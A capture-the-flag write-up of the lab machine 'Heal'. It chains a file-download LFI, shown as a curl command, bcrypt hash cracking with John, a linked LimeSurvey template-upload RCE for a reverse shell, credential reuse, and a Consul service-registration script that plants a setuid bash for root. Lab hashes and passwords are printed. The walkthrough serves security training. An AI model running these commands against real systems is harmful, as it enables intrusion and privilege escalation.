Heal¶
Initial Scan¶
Port 22 is SSH, port 80 is HTTP (nginx).
Enumeration¶
Adding hosts to /etc/hosts:
The main site at heal.htb points to a registration/login form backed by an API at api.heal.htb.
Foothold¶
API File Download / LFI¶
The API endpoint GET /download?filename= is vulnerable to local file inclusion. A JWT token is required but obtained through normal registration:
The JWT payload is trivial ({"user_id":7}), no secret validation on our side.
SQLite Database¶
Downloading the application database:
curl "http://api.heal.htb/download?filename=/path/to/db.sqlite" \
-H 'Authorization: Bearer <token>' -o db.sqlite
Ralph's account contains a bcrypt hash:
| Username | Hash | Admin | |
|---|---|---|---|
| ralph@heal.htb | ralph | $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG |
Yes |
Cracking with John:
echo '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' > hash
john --wordlist=~/wordlists/rockyou.txt hash
LimeSurvey RCE¶
Logging into take-survey.heal.htb/index.php/admin with ralph@heal.htb:147258369.
LimeSurvey 6.x is vulnerable to RCE via the survey template upload: - https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE
Exploiting gets a reverse shell as www-data.
Lateral Movement¶
Reading the LimeSurvey config file application/config/config.php reveals PostgreSQL credentials:
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
These credentials work for SSH as ron:
Privilege Escalation¶
Consul is running locally with ACL default policy set to allow. The config is at /etc/consul.d/config.json.
Registering a malicious service with a check that executes a script:
# Create privesc script
cat > /tmp/rootme.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /tmp/rootme.sh
curl --request PUT http://127.0.0.1:8500/v1/agent/service/register \
--header "Content-Type: application/json" \
--data '{
"Name": "pwnme",
"ID": "pwnme",
"Port": 80,
"Check": {
"Args": ["/tmp/rootme.sh"],
"Interval": "10s"
}
}'
After the check executes (within ~10 seconds):
Flags¶
user.txt: *** root.txt: ***